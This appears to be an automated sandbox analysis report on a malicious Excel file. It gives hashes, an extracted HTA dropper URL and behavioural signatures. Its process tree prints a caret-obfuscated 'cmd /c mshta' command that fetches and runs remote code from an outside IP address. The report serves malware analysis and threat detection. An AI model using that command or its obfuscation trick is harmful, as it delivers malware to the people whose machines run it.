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Analysis

  • max time kernel
    136s
  • max time network
    123s
  • platform
    windows7_x64
  • resource
    win7-20220414-en
  • submitted
    22/05/2022, 05:28

General

  • Target

    ?i=1dainhvcu.xls

  • Size

    142KB

  • MD5

    0c890caa5574298838e2463f2a9eec1f

  • SHA1

    84616f046e7b29279d4a5af740b8524cd1b02a6e

  • SHA256

    95141c557c2da97c647844e7c27133e0f8ba49907e167088ad774ed57e950294

  • SHA512

    d7ca540e210ad4d7efdb9061a2915e2a790cff59ebf69f21f79540c0ab62c4b1bc16b51cc6a5f408a0f49544a6b15c2461a1f3a59385d7574c1f858b6ce44d03

Score
10/10

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

http://185.7.214.7/ve/ve.html

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 2 IoCs
  • Enumerates system info in registry 2 TTPs 1 IoCs
  • Modifies Internet Explorer settings 1 TTPs 32 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\_i=1dainhvcu.xls
    1⤵
    • Enumerates system info in registry
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1612
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c m^sh^t^a h^tt^p^:/^/185.7.214.7/ve/ve.html
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:912
      • C:\Windows\SysWOW64\mshta.exe
        mshta http://185.7.214.7/ve/ve.html
        3⤵
        • Blocklisted process makes network request
        • Modifies Internet Explorer settings
        PID:1360

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

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Downloads

  • memory/1612-54-0x000000002F491000-0x000000002F494000-memory.dmp

    Filesize

    12KB

  • memory/1612-55-0x0000000071191000-0x0000000071193000-memory.dmp

    Filesize

    8KB

  • memory/1612-56-0x000000005FFF0000-0x0000000060000000-memory.dmp

    Filesize

    64KB

  • memory/1612-57-0x000000007217D000-0x0000000072188000-memory.dmp

    Filesize

    44KB

  • memory/1612-58-0x0000000075721000-0x0000000075723000-memory.dmp

    Filesize

    8KB

  • memory/1612-61-0x000000006B641000-0x000000006B643000-memory.dmp

    Filesize

    8KB

  • memory/1612-62-0x000000006B431000-0x000000006B433000-memory.dmp

    Filesize

    8KB

  • memory/1612-63-0x000000005FFF0000-0x0000000060000000-memory.dmp

    Filesize

    64KB